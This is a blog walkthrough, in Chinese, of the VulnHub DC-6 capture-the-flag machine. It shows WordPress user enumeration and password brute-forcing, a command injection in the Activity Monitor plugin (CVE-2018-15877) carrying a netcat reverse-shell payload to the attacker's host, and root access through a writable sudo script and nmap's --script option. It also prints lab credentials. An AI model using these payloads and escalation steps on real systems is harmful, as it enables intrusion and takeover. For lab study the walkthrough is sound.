DC-6

环境搭建

过程和DC-1的环境搭建一样:https://yschen20.github.io/2026/02/19/DC-1/#%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

渗透测试

先 nmap 扫靶机 IP

1
nmap -sP 192.168.1.0/24

image-20260226130942334

然后扫靶机的端口服务

1
nmap -A -p- 192.168.1.9

俩端口,一个 22 的 SSH,一个 80 的 Web 服务,80 的 Web 服务会重定向到http://wordy/

image-20260226131056672

先看 80 端口的,浏览器打开会发现找不到服务器

image-20260226131256281

因为 DNS 解析失败,要在hosts文件中配置一下

1
192.168.1.9 wordy

image-20260226131608582

然后就可以成功访问了

image-20260226131646051

先 dirsearch 扫一下目录

1
dirsearch -u http://192.168.1.9

image-20260226131814967

很明显是 WordPress 系统,和之前的 DC-2 的一样,其实这里在设置好 DNS 解析后可以再用 nmap 扫一下端口信息

1
nmap -A -p- 192.168.1.9

可以看到是 WordPress 5.1.1

image-20260226132358230

像之前一样尝试使用 wpscan 枚举用户

1
wpscan --url http://wordy/ --enumerate u

找到五个用户

image-20260226132952161

将用户名保存到文件中

image-20260226133813931

然后试试用 cewl 生成密码字典

1
cewl http://wordy/ -w DC-6.txt

image-20260226133103990

最后用 wpscan 爆破密码

1
wpscan --url http://wordy/ -U user.txt -P DC-6.txt

但是没有成功找到

image-20260226133202389

那只能用更大的字典了,直接用 kali 自带的rockyou.txt,但是这个字典很大,比较耗时

1
wpscan --url http://wordy/ -U user.txt -P /usr/share/wordlists/rockyou.txt

跑那么久才跑这点

image-20260226134427002

在官网找到了解决方法:https://vulnhub.com/entry/dc-6,315/

可以利用这个命令简化字典

image-20260226134546767

1
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt

image-20260226134639352

再重新跑

1
wpscan --url http://wordy/ -U user.txt -P passwords.txt

只需要跑一万多个就行了

image-20260226134734764

最终跑出了mark用户的密码

1
[SUCCESS] - mark / helpdesk01

image-20260226134928937

去登录

1
http://wordy/wp-login.php

image-20260226135049988

找到安装了 Activity monitor 这个插件

image-20260226140208608

搜一下可以找到存在 ”WordPress 远程命令执行漏洞 (CVE-2018-15877)“

image-20260226140258352

文章:https://www.cnblogs.com/cuerz/p/15576711.html

就是插件中的 Tools 中输入 IP 的地方可以进行命令注入,点击 Lookup 就可以查看命令执行结果

image-20260226140424819

不过这个输入框有字数限制,可以在前端改一下

image-20260226140605097

也可以去抓包,这里直接抓包方便点

image-20260226140821552

先监听端口

1
nc -lvnp 2333

image-20260226141006983

然后执行反弹shell的命令

1
127.0.0.1;nc -e /bin/bash 192.168.1.8 2333

image-20260226141303771

成功反弹shell

image-20260226141326633

生成交互式shell

1
/usr/bin/script -qc /bin/bash /dev/null

image-20260226141424818

最后就是提权了,先看看有没有 SUID 提权

1
find / -perm -u=s -type f 2>/dev/null

不过好像没什么有用的

image-20260226141706562

去看看用户目录

1
ls /home

有四个用户

image-20260226141749202

先看看mark的吧,在mark用户目录下有个stuff目录,里面有一个things-to-do.txt文件,看名字就知道是个提示文件

1
cd /home/mark/stuff

image-20260226141834112

看一下文件内容

1
cat things-to-do.txt

给了一个graham的密码

image-20260226142025986

这个靶机还有个22的SSH端口,尝试去登录这个用户

1
2
ssh graham@192.168.1.9
GSo7isUM1D4

成功登录

image-20260226142215138

看了一下这个用户目录下也没什么东西

image-20260226142305203

不过发现这个用户有免密执行 sudo 命令

1
sudo -l

可以以 jens 用户的身份免密执行/home/jens/backups.sh脚本

image-20260226142356175

看一下这个backups.sh文件的内容和权限

1
2
cat /home/jens/backups.sh
ls -la /home/jens/backups.sh

image-20260226142637027

这个脚本的作用就是把/var/www/html打包成backups.tar.gz,脚本由 jens 拥有,所属组是 devs,jens 和 devs 组用户都是可读可写可执行,其他用户可读可执行,不可写

看一下 devs 组有哪些用户

1
grep ^devs: /etc/group

当前的 graham 用户也在里面

image-20260226143329133

说明现在可以对这个脚本进行编辑修改,在其中加入/bin/bash,就可以切换为 jens 用户

1
2
echo "/bin/bash" >> /home/jens/backups.sh
cat /home/jens/backups.sh

image-20260226143802976

然后就可以切换为 jens 用户

1
sudo -u jens /home/jens/backups.sh

image-20260226143842719

然后发现这个用户也可以用 sudo 命令,以 root 身份免密执行/usr/bin/nmap

image-20260226143933913

可以构造一个启动新进程的脚本,然后利用 nmap 的 --script 参数让其执行指定的脚本,此时是以 root 身份启动的新进程,就可以成功提权了

1
2
echo 'os.execute("/bin/bash")' > shell
sudo nmap --script=shell

image-20260226145740610

最后去 root 目录下读flag

1
cat /root/theflag.txt

但是神奇的是我输入的命令没有显示出来

image-20260226145936159

总结

靶机学习的知识点:

  • 设置 hosts 文件
  • 用 wpscan 枚举用户,爆破密码
  • CVE-2018-15877:Activity monitor插件中存在命令注入漏洞,获取shell
  • 信息搜集获取 graham 用户的密码,登录为 graham 用户
  • 利用可以以 jens 用户的身份免密执行/home/jens/backups.sh脚本,切换为 jens 用户
  • jens 用户也可以免密以 root 身份运行/usr/bin/nmap,借助--script运行指定恶意脚本提权为 root

DC-6
https://yschen20.github.io/2026/02/26/DC-6/
作者
Suzen
发布于
2026年2月26日
更新于
2026年2月26日
许可协议